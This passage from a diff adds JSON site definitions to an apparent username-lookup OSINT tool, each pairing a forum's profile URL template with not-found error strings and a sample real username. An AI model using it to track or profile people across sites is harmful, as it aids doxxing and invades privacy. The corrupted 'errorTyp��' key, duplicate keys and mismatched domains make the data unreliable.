"[а-яА-Я]", + "url": "https://forum.tezosagora.org/u/{}/summary", + "urlMain": "https://forum.tezosagora.org", + "usernameON": "kevinmehrabi", + "bad_site": "" + }, + "Forum_TG": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://tgforum.ru/members/?username={}", + "urlMain": "https://tgforum.ru", + "usernameON": "grigorii", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thaidog": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://the-brinkoftime.ru/index/8-0-{}", + "urlMain": "http://the-brinkoftime.ru", + "usernameON": "Kardinal", + "bad_site": "" + }, + "Forum_the-covenant": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://the-covenant.ucoz.ru/index/8-0-{}", + "urlMain": "https://the-covenant.ucoz.ru", + "usernameON": "Gwynbleidd", + "bad_site": "" + }, + "Forum_the-sunny": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://the-sunny.ucoz.ru/index/8-0-{}", + "urlMain": "https://the-sunny.ucoz.ru", + "usernameON": "Sejlin", + "bad_site": "" + }, + "Forum_thebassbarn": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thebassbarn.com/members/?username={}", + "urlMain": "https://www.thebassbarn.com/", + "usernameON": "hardtop", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thebenchtrading": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://thebenchtrading.com/members/?username={}", + "urlMain": "https://thebenchtrading.com/", + "usernameON": "dragonslayer913", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thebrownsboard": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.thebrownsboard.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.thebrownsboard.com", + "usernameON": "calfoxwc", + "bad_site": "" + }, + "Forum_thecatsite": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://thecatsite.com/members/?username={}", + "urlMain": "https://thecatsite.com", + "usernameON": "stefanz", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_thecoding": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thecodingforums.com/members/?username={}", + "urlMain": "https://www.thecodingforums.com/", + "usernameON": "nataliayou", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thecomicboard": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thecomicboard.com/members/?username={}", + "urlMain": "https://www.thecomicboard.com", + "usernameON": "selfishmisery", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thedaobums": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W[а-яА-Я]", + "errorMsg": "0 results", + "errorMsg2": "Not found", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.thedaobums.com/search/?&q={}&type=core_members", + "urlMain": "https://www.thedaobums.com", + "usernameON": "Maddie", + "bad_site": "" + }, + "Forum_thedarkmod": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.thedarkmod.com/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://forums.thedarkmod.com", + "usernameON": "greebo", + "bad_site": "" + }, + "Forum_thedarts": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No members found", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.thedartsforum.com/memberlist.php?username={}", + "urlMain": "https://www.thedartsforum.com", + "usernameON": "ChrisW", + "bad_site": "" + }, + "Forum_theden": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://thedenforum.com/u/{}/summary", + "urlMain": "https://thedenforum.com", + "usernameON": "weaselpuppy", + "bad_site": "" + }, + "Forum_thedieselgarage": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thedieselgarage.com/members/?username={}", + "urlMain": "https://www.thedieselgarage.com", + "usernameON": "carid", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thedieselstop": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thedieselstop.com/members/?username={}", + "urlMain": "https://www.thedieselstop.com", + "usernameON": "bugman", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thedoctorwho": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.thedoctorwhoforum.com/members/{}/", + "urlMain": "https://www.thedoctorwhoforum.com", + "usernameON": "ps1l0v3y0u", + "bad_site": "" + }, + "Forum_thefappeningblog": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://thefappeningblog.com/forum/members/?username={}", + "urlMain": "https://thefappeningblog.com", + "usernameON": "peterwebb", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thefedoralounge": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thefedoralounge.com/members/?username={}", + "urlMain": "https://www.thefedoralounge.com", + "usernameON": "kblake", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thefewgoodmen": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thefewgoodmen.com/thefgmforum/members/?username={}", + "urlMain": "https://www.thefewgoodmen.com", + "usernameON": "bootie", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thefinalfantasy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered", + "errorMsg2": "STANDARD_ERROR", + "errorMsg3": "content=\"final fantasy,", + "errorTyp��": "message", + "url": "https://thefinalfantasy.net/forums/members/{}/", + "urlMain": "https://thefinalfantasy.net", + "usernameON": "fuzz", + "bad_site": "" + }, + "Forum_thefirearms": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thefirearmsforum.com/members/?username={}", + "urlMain": "https://www.thefirearmsforum.com", + "usernameON": "alpo", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_theflooring": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://theflooringforum.com/members/?username={}", + "urlMain": "https://theflooringforum.com", + "usernameON": "dazlight", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thefootballforum": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thefootballforum.net/members/?username={}", + "urlMain": "https://www.thefootballforum.net", + "usernameON": "oakroader", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_thegambling": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "Unavailable", + "errorTyp��": "message", + "url": "https://thegamblingcommunity.com/forum/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://thegamblingcommunity.com/", + "usernameON": "howfin", + "bad_site": "" + }, + "Forum_thegradcafe": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://forum.thegradcafe.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.thegradcafe.com", + "usernameON": "admin", + "bad_site": "" + }, + "Forum_thegreenliving": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://permies.com/forums/jforum?module=search&action=search&forum_id=-1&search_keywords=&match_type=all&search_in=ALL&forum=&groupByTopic=true&sort_by=time&sort_dir=DESC&search_date=ALL&member_number=&member_first_name={}&member_last_name=&member_match_type=memberPosted", + "urlMain": "https://permies.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_thegtaplace": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": " 0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://thegtaplace.com/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://thegtaplace.com", + "usernameON": "chuken", + "bad_site": "" + }, + "Forum_thehomebrew": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thehomebrewforum.co.uk/members/?username={}", + "urlMain": "https://www.thehomebrewforum.co.uk", + "usernameON": "mashbag", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thehuddle": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Please wait", + "errorMsg2": "0 results", + "errorTyp��": "message", + "url": "https://forums.thehuddle.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.thehuddle.com", + "usernameON": "red", + "bad_site": "" + }, + "Forum_theislamicquotes": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.theislamicquotes.com/members/?username={}", + "urlMain": "https://forum.theislamicquotes.com", + "usernameON": "awanromesa", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_theknot": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.theknot.com/profile/{}", + "urlMain": "https://forums.theknot.com", + "usernameON": "mrsconn23", + "bad_site": "" + }, + "Forum_thektog": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thektog.org/members/?username={}", + "urlMain": "https://www.thektog.org", + "usernameON": "editor", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thelaw": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thelaw.com/members/?username={}", + "urlMain": "https://www.thelaw.com", + "usernameON": "zddoodah", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_themodernfilmmaker": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.themodernfilmmaker.com/ru/profile/{}/profile", + "urlMain": "https://www.themodernfilmmaker.com", + "usernameON": "shadrachhanohano", + "bad_site": "" + }, + "Forum_theohiooutdoors": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://theohiooutdoors.com/members/?username={}", + "urlMain": "https://theohiooutdoors.com", + "usernameON": "p8riot", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_theologyonline": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://theologyonline.com/members/?username={}", + "urlMain": "https://theologyonline.com", + "usernameON": "benavraham", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_theoutlander": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://theoutlander.ru/index/8-0-{}", + "urlMain": "https://theoutlander.ru", + "usernameON": "talia", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_thepatriotwoodworker": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://thepatriotwoodworker.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://thepatriotwoodworker.com", + "usernameON": "frederickh", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Forum_thephins": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thephins.com/members/?username={}", + "urlMain": "https://www.thephins.com", + "usernameON": "dolphin25", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thephoto": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thephotoforum.com/members/?username={}", + "urlMain": "https://www.thephotoforum.com", + "usernameON": "sterk03", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_theprodigy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь, чей профиль вы пытаетесь посмотреть, не существует.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.theprodigy.ru/index.php?board=13&action=viewprofile&user={}", + "urlMain": "https://forum.theprodigy.ru/", + "usernameON": "red", + "bad_site": "" + }, + "Forum_thepw": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Найдено 0 результатов", + "errorMsg2": "По вашему запросу ничего не найдено", + "errorTyp��": "message", + "url": "http://forum.thepw.ru/index.php?/search/&q={}&type=core_members", + "urlMain": "http://forum.thepw.ru", + "usernameON": "thepwsupport", + "bad_site": "" + }, + "Forum_therepair": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "title>Упс! Что-то пошло не так", + "errorMsg2": "Найдено 0 результатов", + "errorTyp��": "message", + "url": "https://therepair.ru/search/?&q={}", + "urlMain": "https://therepair.ru", + "usernameON": "Engineer", + "comments": "bad", + "bad_site": "" + }, + "Forum_therpf": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.therpf.com/forums/members/?username={}", + "urlMain": "https://www.therpf.com", + "usernameON": "wayneb", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thesandtrap": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "0 results", + "errorMsg2": "Sorry, page not found", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://thesandtrap.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://thesandtrap.com", + "usernameON": "iacas", + "bad_site": "" + }, + "Forum_thescienceforum": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://www.thescienceforum.com/member.php?username={}", + "urlMain": "http://www.thescienceforum.com", + "usernameON": "mathman", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_thesimsworldnew": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.thesimsworldnew.ru/index/8-0-{}", + "urlMain": "http://www.thesimsworldnew.ru", + "usernameON": "Samara", + "bad_site": "" + }, + "Forum_thesmartmarks": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.thesmartmarks.com/search/?q={}&type=core_members", + "urlMain": "https://forums.thesmartmarks.com", + "usernameON": "janusd", + "bad_site": "" + }, + "Forum_thewatchsite": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thewatchsite.com/members/?username={}", + "urlMain": "https://www.thewatchsite.com/", + "usernameON": "gatsuk", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thewhitewolf": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://thewhitewolf.3dn.ru/index/8-0-{}", + "urlMain": "https://thewhitewolf.3dn.ru/", + "usernameON": "ttaletpbod", + "bad_site": "" + }, + "Forum_thewindowsforum": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://thewindowsforum.com/members/?username={}", + "urlMain": "https://thewindowsforum.com", + "usernameON": "mook777", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_thrash-attack": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://thrash-attack.ru/index/8-0-{}", + "urlMain": "http://thrash-attack.ru", + "usernameON": "Manowarrior", + "bad_site": "" + }, + "Forum_thule": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://thule.ucoz.ru/index/8-0-{}", + "urlMain": "https://thule.ucoz.ru", + "usernameON": "jtaletbcse", + "bad_site": "" + }, + "Forum_thumpertalk": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.thumpertalk.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.thumpertalk.com", + "usernameON": "mildride", + "bad_site": "" + }, + "Forum_tidalfish": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tidalfish.com/members/?username={}", + "urlMain": "https://www.tidalfish.com", + "usernameON": "longtail", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tigerdata": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.tigerdata.com/forum/u/{}/summary", + "urlMain": "https://forum.tigerdata.com", + "usernameON": "ts101", + "bad_site": "" + }, + "Forum_tights4men": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://time-paradox.ucoz.ru/index/8-0-{}", + "urlMain": "https://time-paradox.ucoz.ru", + "usernameON": "uliaandreeva149", + "bad_site": "" + }, + "Forum_timich": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://timich.ru/index/8-0-{}", + "urlMain": "http://timich.ru", + "usernameON": "rektie", + "bad_site": "" + }, + "Forum_titanquest": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://titanquest.org.ua/index/8-0-{}", + "urlMain": "https://titanquest.org.ua", + "usernameON": "Jack", + "bad_site": "" + }, + "Forum_tk_do": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tk.do.am/index/8-0-{}", + "urlMain": "https://tk.do.am", + "usernameON": "romzik3", + "bad_site": "" + }, + "Forum_tks": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "403 Forbidden", + "errorMsg3": "временно приостановлен", + "errorTyp��": "message", + "url": "https://forum.tks.ru/member.php?username={}", + "urlMain": "https://forum.tks.ru/", + "usernameON": "red", + "bad_site": "" + }, + "Forum_tlm": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tokiogirl.ucoz.ru/index/8-0-{}", + "urlMain": "https://tokiogirl.ucoz.ru", + "usernameON": "iisus1996", + "bad_site": "" + }, + "Forum_tolkienist": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://tolkienist.ucoz.ru/index/8-0-{}", + "urlMain": "http://tolkienist.ucoz.ru", + "usernameON": "Банту", + "bad_site": "" + }, + "Forum_tomtom": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tomtomforums.com/members/?username={}", + "urlMain": "https://www.tomtomforums.com", + "usernameON": "silberpfeil", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tootimid": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.tootimid.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.tootimid.com", + "usernameON": "eagle143", + "bad_site": "" + }, + "Forum_topeleven": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered", + "errorMsg2": "Top Eleven Forum", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.topeleven.com/member.php?username={}", + "urlMain": "https://forum.topeleven.com", + "usernameON": "Taliyah25", + "bad_site": "" + }, + "Forum_topgold": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://topgold.forum/search/?q={}&quick=1&type=core_members", + "urlMain": "https://topgold.forum/", + "usernameON": "Resolve", + "bad_site": "" + }, + "Forum_topgoldforum": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "There were no results for your search", + "errorTyp��": "message", + "url": "https://topgoldforum.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://topgoldforum.com", + "usernameON": "symphonizedbm", + "bad_site": "" + }, + "Forum_topteam": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://topteam.ucoz.ru/index/8-0-{}", + "urlMain": "https://topteam.ucoz.ru", + "usernameON": "Spinne", + "bad_site": "" + }, + "Forum_toribash": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.toribash.com/member.php?username={}", + "urlMain": "https://forum.toribash.com/", + "usernameON": "s1lvered", + "bad_site": "" + }, + "Forum_tornado": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.tornado.ws/u/{}/summary", + "urlMain": "https://forum.tornado.ws", + "usernameON": "sean", + "bad_site": "" + }, + "Forum_torquecars": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.torquecars.com/forums/members/?username={}", + "urlMain": "https://www.torquecars.com", + "usernameON": "mrmacbirch", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tortik": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://tortik.ucoz.ru/index/8-0-{}", + "urlMain": "https://tortik.ucoz.ru", + "usernameON": "ggdrEmodyz", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_tosdr": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://tosdr.community/u/{}/summary", + "urlMain": "https://tosdr.community", + "usernameON": "shadowwwind", + "bad_site": "" + }, + "Forum_totallympics": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://totallympics.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://totallympics.com", + "usernameON": "josh", + "bad_site": "" + }, + "Forum_totalrl": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.totalrl.com/forums/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.totalrl.com", + "usernameON": "bobbruce", + "bad_site": "" + }, + "Forum_touchussuri": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://touchussuri.ucoz.ru/index/8-0-{}", + "urlMain": "https://touchussuri.ucoz.ru", + "usernameON": "staletpuhh", + "bad_site": "" + }, + "Forum_tour": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://tourum.net/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://tourum.net", + "usernameON": "etolmacheff", + "comments": "bad", + "bad_site": "" + }, + "Forum_touringplans": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.touringplans.com/u/{}/summary", + "urlMain": "https://forum.touringplans.com", + "usernameON": "heathernoel", + "bad_site": "" + }, + "Forum_tourtrans": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.tourtrans.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.tourtrans.ru", + "usernameON": "Evgeniya", + "bad_site": "" + }, + "Forum_toyotanation": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.toyotanation.com/members/?username={}", + "urlMain": "https://www.toyotanation.com", + "usernameON": "dna59", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_traceryoffate": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user does not exist.", + "errorMsg2": "Sorry, page not found", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://traceryoffate.com/forum/profile/{}/", + "urlMain": "https://traceryoffate.com", + "usernameON": "sentinel", + "bad_site": "" + }, + "Forum_tracfone": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.tracfoneforum.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.tracfoneforum.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_trackchecker": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "Подходящих тем или сообщений не найдено.", + "errorTyp��": "message", + "url": "https://forum.trackchecker.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.trackchecker.ru", + "usernameON": "f2065", + "bad_site": "" + }, + "Forum_tractorbynet": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tractorbynet.com/forums/members/?username={}", + "urlMain": "https://www.tractorbynet.com", + "usernameON": "bmaverick", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_trade-print": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": 